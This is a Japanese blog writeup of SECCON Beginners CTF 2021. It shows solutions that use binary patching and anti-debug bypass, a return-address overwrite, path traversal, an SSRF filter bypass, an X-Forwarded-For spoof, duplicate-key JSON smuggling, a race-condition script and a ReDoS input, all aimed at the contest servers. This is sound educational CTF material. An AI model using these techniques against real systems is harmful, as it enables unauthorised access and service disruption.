LoginSignup
1

More than 1 year has passed since last update.

posted at

updated at

SECCON Beginners CTF 2021 Writeup

チームnicklegrで個人参加。

1787点で78位でした。
(943チーム中。Welcome以外を解いたのは705チーム)

image.png

Screenshot_2021-05-23 SECCON Beginners(2).png

今年は運営の方が速攻でWriteupを上げてくださってるので(ありがたい)
非想定解っぽい問題だけちゃんと書きますね。他はさらっと。

welcome

welcome

ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}

crypto

simple RSA

plain RSAに対する攻撃手法を実装してみる - ももいろテクノロジー の「e乗根」

ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

Logical_SEESAW

keyが0のビットのみ50%の確率で出力が0になる。残り50%は平文が出る。なので16回分すべてのorを取ればいい。

ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}

reversing

only read

ctf4b{c0n5t4nt_f0ld1ng}

children

[rbp+var_14] が生成したプロセス数のカウンタ
10個といいつつ、ランダムでいくつか追加するようになっているようだ

子プロセスがさらに子プロセスを生成すると書かれているけど、そういう挙動はしないような?

まず、Please give me my child pid!と聞かれたら何を答えても正解になるパッチを当てる

0000000000000a98         lea        rdi, qword [aPleaseGiveMeMy]                ; argument "__s" for method j_puts, "Please give me my child pid!"
0000000000000a9f         call       j_puts                                      ; puts
0000000000000aa4         lea        rax, qword [rbp+var_1C]
0000000000000aa8         mov        rsi, rax
0000000000000aab         lea        rdi, qword [aD]                             ; argument "__format" for method j___isoc99_scanf, "%d"
0000000000000ab2         mov        eax, 0x0
0000000000000ab7         call       j___isoc99_scanf                            ; __isoc99_scanf
0000000000000abc         mov        eax, dword [rbp+var_1C]
0000000000000abf         cmp        dword [rbp+var_18], eax
- 0000000000000ac2         jne        loc_ad6
+ 0000000000000ac2         nop

0000000000000ac4         lea        rdi, qword [aOk]                            ; argument "__s" for method j_puts, "ok"
0000000000000acb         call       j_puts                                      ; puts
0000000000000ad0         add        dword [rbp+var_10], 0x1
0000000000000ad4         jmp        loc_ae9

                     loc_ad6:
0000000000000ad6         lea        rdi, qword [aThisIsNotMyChi]                ; argument "__s" for method j_puts, "This is NOT my child pid!", CODE XREF=main+264
0000000000000add         call       j_puts                                      ; puts
0000000000000ae2         mov        eax, 0x1
0000000000000ae7         jmp        loc_b60

続いて、How many children were born?も同様に必ず正解になるパッチを当てる

0000000000000b06         lea        rdi, qword [aHowManyChildre]                ; argument "__s" for method j_puts, "How many children were born?"
0000000000000b0d         call       j_puts                                      ; puts
0000000000000b12         lea        rax, qword [rbp+var_1C]
0000000000000b16         mov        rsi, rax
0000000000000b19         lea        rdi, qword [aD]                             ; argument "__format" for method j___isoc99_scanf, "%d"
0000000000000b20         mov        eax, 0x0
0000000000000b25         call       j___isoc99_scanf                            ; __isoc99_scanf
- 0000000000000b2a         mov        eax, dword [rbp+var_1C]
+ 0000000000000b2a         mov        eax, dword [rbp+var_14]
0000000000000b2d         cmp        dword [rbp+var_14], eax
0000000000000b30         jne        loc_b4f

0000000000000b32         mov        eax, dword [rbp+var_14]
0000000000000b35         cmp        eax, dword [rbp+var_C]
0000000000000b38         jl         loc_b4f

0000000000000b3a         mov        edx, dword [rbp+var_1C]                     ; argument #3 for method hoge
0000000000000b3d         mov        ecx, dword [rbp+var_14]                     ; argument #4 for method hoge
0000000000000b40         mov        esi, dword [rbp+var_C]                      ; argument #2 for method hoge
0000000000000b43         mov        eax, dword [rbp+var_14]
0000000000000b46         mov        edi, eax                                    ; argument #1 for method hoge
0000000000000b48         call       hoge                                        ; hoge
0000000000000b4d         jmp        loc_b5b

                     loc_b4f:
0000000000000b4f         lea        rdi, qword [aYouDidntUnders]                ; argument "__s" for method j_puts, "You didn't understand me...bye", CODE XREF=main+374, main+382
0000000000000b56         call       j_puts

あとは0を10回くらい入力するとフラグが取れる。
straceするのが想定解だったみたい。

ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

please_not_trace_me

フラグを復号してくれるのは良いけど,表示してくれない!!

ならgdbでメモリの中身を見よう、とすると怒られる

$ gdb ./chall
(gdb) r
Starting program: /media/sf_work/seccon_beginners_2021/please_not_trace_me/chall 
...
prease not trace me...

ptraceの戻り値でデバッガチェックするらしい
Linux (anti)+ debugging

分岐を潰す。ちょっとわかりにくいけど[rbp-0x38]にptraceの戻り値が入ってる

00000000000012f3         call       j_ptrace                                    ; ptrace
00000000000012f8         mov        qword [rbp-0x38], rax
00000000000012fc         mov        qword [rbp-0x28], 0x6
0000000000001304         jmp        sub_13a0+275
0000000000001309         cmp        dword [rbp-0x48], 0x6
000000000000130d         je         sub_1270+172
000000000000130f         mov        qword [rbp-0x28], 0x8
0000000000001317         jmp        sub_13a0+275
000000000000131c         mov        qword [rbp-0x28], 0x12                      ; CODE XREF=sub_1270+157
0000000000001324         jmp        sub_13a0+275
0000000000001329         lea        rdi, qword [aFlagDecryptedB]                ; "flag decrypted. bye."
0000000000001330         call       j_puts                                      ; puts
0000000000001335         mov        qword [rbp-0x28], 0x12
000000000000133d         jmp        sub_13a0+275
0000000000001342         mov        dword [rbp-0x48], 0x2
0000000000001349         mov        qword [rbp-0x28], 0xb
0000000000001351         jmp        sub_13a0+275
0000000000001356         cmp        qword [rbp-0x38], 0x0
- 000000000000135b         jne        sub_1270+250
+ 000000000000135b         nop

フラグは下記でデコードしてるので、rc4から戻った直後にブレークポイントをかけてメモリをのぞく
rc4内部でmallocしてるので、たぶんデコードバッファを確保してraxに返すんでしょう

                     sub_1270:
0000000000001270         mov        rax, qword [rbp-0x40]
0000000000001274         mov        rdi, rax                                    ; argument #1 for method generate_key
0000000000001277         call       generate_key                                ; generate_key
000000000000127c         mov        qword [rbp-0x28], 0x12
0000000000001284         jmp        loc_14b3
0000000000001289         mov        rax, qword [rbp-0x40]
000000000000128d         mov        rsi, rax
0000000000001290         lea        rdi, qword [e]                              ; e
0000000000001297         call       rc4                                         ; rc4
>>> 000000000000129c         mov        qword [rbp-0x28], 0x12
$ gdb ./chall_patch
(gdb) b *0x000055555555529c
(gdb) r
(gdb) x/32xb $rax
0x555555559030: 0x63  0x74  0x66  0x34  0x62  0x7b  0x64  0x31
0x555555559038: 0x64  0x5f  0x79  0x30  0x75  0x5f  0x64  0x33
0x555555559040: 0x63  0x72  0x79  0x70  0x74  0x5f  0x72  0x63
0x555555559048: 0x34  0x3f  0x7d  0x00  0x00  0x00  0x00  0x00

文字列っぽい。たぶん合ってる

(gdb) x/s $rax
0x555555559030: "ctf4b{d1d_y0u_d3crypt_rc4?}"
ctf4b{d1d_y0u_d3crypt_rc4?}

be_angry

SECCON Beginners CTF 2020 Writeup - setodaNote

$ time python3 main.py
WARNING | 2021-05-22 16:39:58,529 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2021-05-22 16:40:00,127 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | Filling register id with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in chall (0x28f9))
WARNING | 2021-05-22 16:40:00,130 | angr.storage.memory_mixins.default_filler_mixin | Filling register ac with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in chall (0x28f9))
b'ctf4b{3nc0d3_4r1thm3t1c}'

real    0m21.542s
user    0m21.179s
sys     0m0.446s

firmware

elfは取り出したけどReversingしきれなかった。ascii.txtを読んでてややこしそうだなぁと思ったけどフェイクだった。くやしい

pwnable

rewriter

                     sub_4011fa:
00000000004011fa         push       rbp
00000000004011fb         mov        rbp, rsp
00000000004011fe         sub        rsp, 0x20
0000000000401202         lea        rax, qword [aBincat]                        ; "/bin/cat"
0000000000401209         mov        qword [rbp+var_20], rax
000000000040120d         lea        rax, qword [aFlagtxt]                       ; "flag.txt"
0000000000401214         mov        qword [rbp+var_18], rax
0000000000401218         mov        qword [rbp+var_10], 0x0
0000000000401220         lea        rax, qword [rbp+var_20]
0000000000401224         mov        edx, 0x0
0000000000401229         mov        rsi, rax
000000000040122c         lea        rdi, qword [aBincat]                        ; "/bin/cat"
0000000000401233         call       0x4010e0
0000000000401238         nop
0000000000401239         leave
000000000040123a         ret
 % nc rewriter.quals.beginners.seccon.jp 4103

[Addr]              |[Value]
====================+===================
 0x00007ffd83cca560 | 0x0000000000000000  <- buf
 0x00007ffd83cca568 | 0x0000000000000000
 0x00007ffd83cca570 | 0x0000000000000000
 0x00007ffd83cca578 | 0x0000000000000000
 0x00007ffd83cca580 | 0x0000000000000000  <- target
 0x00007ffd83cca588 | 0x0000000000000000  <- value
 0x00007ffd83cca590 | 0x0000000000401520  <- saved rbp
 0x00007ffd83cca598 | 0x00007f2c0ae90bf7  <- saved ret addr
 0x00007ffd83cca5a0 | 0x0000000000000001
 0x00007ffd83cca5a8 | 0x00007ffd83cca678

Where would you like to rewrite it?
> 0x00007ffd83cca598
0x00007ffd83cca598 = 0x4011fa

[Addr]              |[Value]
====================+===================
 0x00007ffd83cca560 | 0x6166313130347830  <- buf
 0x00007ffd83cca568 | 0x356163633338000a
 0x00007ffd83cca570 | 0x00000000000a3839
 0x00007ffd83cca578 | 0x0000000000000000
 0x00007ffd83cca580 | 0x00000000004011fa  <- target
 0x00007ffd83cca588 | 0x00007ffd83cca598  <- value
 0x00007ffd83cca590 | 0x0000000000401520  <- saved rbp
 0x00007ffd83cca598 | 0x00000000004011fa  <- saved ret addr
 0x00007ffd83cca5a0 | 0x0000000000000001
 0x00007ffd83cca5a8 | 0x00007ffd83cca678
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

beginners rop

SECCON 2018 Online CTF Writeup - Qiita の Classic Pwnと同じ。
手順を改善した部分だけ抜粋

gdb-peda$ pattc 320
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA'
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA'

Program received signal SIGSEGV, Segmentation fault.
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd9c8 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA")

gdb-peda$ patto "HA%dA%3A%IA%eA%4A%JA%fA%"
HA%dA%3A%IA%eA%4A%JA%fA% found at offset: 264
% nm -D libc-2.27.so | grep puts
000000000007f2d0 T _IO_fputs
0000000000080aa0 T _IO_puts
000000000007f2d0 W fputs
000000000008a710 W fputs_unlocked
0000000000080aa0 W puts
0000000000128460 T putsgent
0000000000126550 T putspent
ctf4b{H4rd_ROP_c4f3}

web

osoba

def index():
    page = request.args.get('page', 'public/index.html')    
    response = make_response(send_file(page))

https://osoba.quals.beginners.seccon.jp/?page=/flag

ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}

Werewolf

class Player:
    ...
    self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])

for k, v in request.form.items():
    player.__dict__[k] = v

python - What is the meaning of single and double underscore before an object name? - Stack Overflow

スクリーンショット 2021-05-22 151032.png

ctf4b{there_are_so_many_hackers_among_us}

check_url

地味に手こずった。
http://localhost/ にアクセスさせる、かつこのサニタイズを通す。

if ($url !== "https://www.example.com"){
  $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
}
if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
  die("do not hack me!");
}

IPv6を考えたけど、 https://[::1]/ と書かないといけなくて[]は使えない。

127.0.0.1(localhost)を一番面白く表記できた奴が優勝 - Qiita

http://2130706433/http://017700000001/ を試したけどBad Requestになる

Screenshot_2021-05-23 c(heck)_url(1).png

Apacheが返しているメッセージなので、自前でインスタンスを立てて理由を調べる。LogLevelをdebugにするとerror.logに下記が出る。

[core:debug] [pid 67774:tid 140037633189632] vhost.c(836): [client 127.0.0.1:34810] AH02416: [strict] purely numeric host names not allowed: 2130706433
[core:debug] [pid 67774:tid 140037633189632] protocol.c(1445): [client 127.0.0.1:34810] AH00569: client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /

ならアルファベットを含めばいい。そういえば http://0x7F000001/ は試してなかった。

Screenshot_2021-05-23 c(heck)_url.png

ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}

json

nginxでX-Forwarded-Forの値に$proxy_add_x_forwarded_forを安易に使わない方が良い | せろとにんぱわー.

X-Forwarded-For: 192.168.111.1 をつけて認証を通す

フロントエンド

    // parse json
    var info Info
    if err := json.Unmarshal(body, &info); err != nil {
      c.JSON(400, gin.H{"error": "Invalid parameter."})
      return
    }

    // validation
    if info.ID < 0 || info.ID > 2 {
      c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."})
      return
    }

    if info.ID == 2 {
      c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
      return
    }

APIサーバ

    id, err := jsonparser.GetInt(body, "id")
    if err != nil {
      c.String(400, "Failed to parse json")
      return
    }

わざわざ違うライブラリ使ってるのは、変なデータ投げたときの挙動が違うんだろうなーと
{"id":2, "id":1} をPOST

ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}

cant_use_db

トランザクションはちゃんとしましょう。

$cookie = ""

class Https
  # 自作クラス。省略。Cookieを$cookieに入れてる
end

BASE_URL = "https://cant-use-db.quals.beginners.seccon.jp"

Https.get(BASE_URL, {})
pp $cookie

header = { "Cookie" => $cookie.gsub(/;.+$/, "") }
pp header

threads = []
threads << Thread.new { puts Https.post("#{BASE_URL}/buy_soup", header, {}) }
threads << Thread.new { puts Https.post("#{BASE_URL}/buy_noodles", header, {}) }
threads.each {|t| t.join}

puts Https.post("#{BASE_URL}/buy_noodles", header, {})
puts Https.get("#{BASE_URL}/eat", header, {})
 % ruby solve.rb
"session=eyJ1c2VyIjoiMjIyMC84aWQ0eE1GM2JXa1BsQ0dOM1FPdDBJRWxnb2FTYXo2dWdOUW4tT2t5In0.YKkFMw.LuEgjirPTLDEw1UV9OjsTzL3jI4; HttpOnly; Path=/"
{"Cookie"=>
  "session=eyJ1c2VyIjoiMjIyMC84aWQ0eE1GM2JXa1BsQ0dOM1FPdDBJRWxnb2FTYXo2dWdOUW4tT2t5In0.YKkFMw.LuEgjirPTLDEw1UV9OjsTzL3jI4"}
💸💸$20000
💸$10000
💸$10000
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}

misc

git-leak

 % git reflog
e0b545f HEAD@{0}: commit (amend): feat: めもを追加
80f3044 HEAD@{1}: commit (amend): feat: めもを追加
b3bfb5c HEAD@{2}: rebase -i (finish): returning to refs/heads/master
b3bfb5c HEAD@{3}: commit (amend): feat: めもを追加
7387982 HEAD@{4}: rebase -i: fast-forward
36a4809 HEAD@{5}: rebase -i (start): checkout HEAD~2
7387982 HEAD@{6}: reset: moving to HEAD
7387982 HEAD@{7}: commit: feat: めもを追加
36a4809 HEAD@{8}: commit: feat: commit-treeの説明を追加
9ac9b0c HEAD@{9}: commit: change: 順番を変更
8fc078d HEAD@{10}: commit: feat: git cat-fileの説明を追加
d3b47fe HEAD@{11}: commit: feat: fsckを追記する
f66de64 HEAD@{12}: commit: feat: reflogの説明追加
d5aeffe HEAD@{13}: commit: feat: resetの説明を追加
a4f7fe9 HEAD@{14}: commit: feat: git logの説明を追加
9fcb006 HEAD@{15}: commit: feat: git commitの説明追加
6d21e22 HEAD@{16}: commit: feat: git addの説明を追加
656db59 HEAD@{17}: commit: feat: add README.md
c27f346 HEAD@{18}: commit (initial): initial commit
 % git reset --hard HEAD@{7}
HEAD is now at 7387982 feat: めもを追加
 % cat flag.txt
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

Mail_Address_Validator

正規表現でのメールアドレスチェックは見直すべき – ReDoS – yohgaki's blog

 % nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
username@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

fly

WOLF RPGエディターのゲーム。岩でフラグが書いてあるっぽい。

image.png

エンジンのデバッグモードを立ち上げてみる。

スクリーンショット 2021-05-23 024847.png

Xスクロール値をいじれればフラグが見れそう。
うさみみハリケーンでサーチしたら0019B668にある。書き換えてもすぐ戻されるのでollydbgでパッチを当てて値を固定。

なかった…

スクリーンショット 2021-05-23 125322.png

キャラの座標もサーチして柵の外には出られた。赤い階段に入ってみる

スクリーンショット 2021-05-23 130613.png

くっそww
青い階段にはマップ移動判定がない。ここまででした。

作問者の方のWriteup

他のみなさんのWriteup

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
What you can do with signing up
1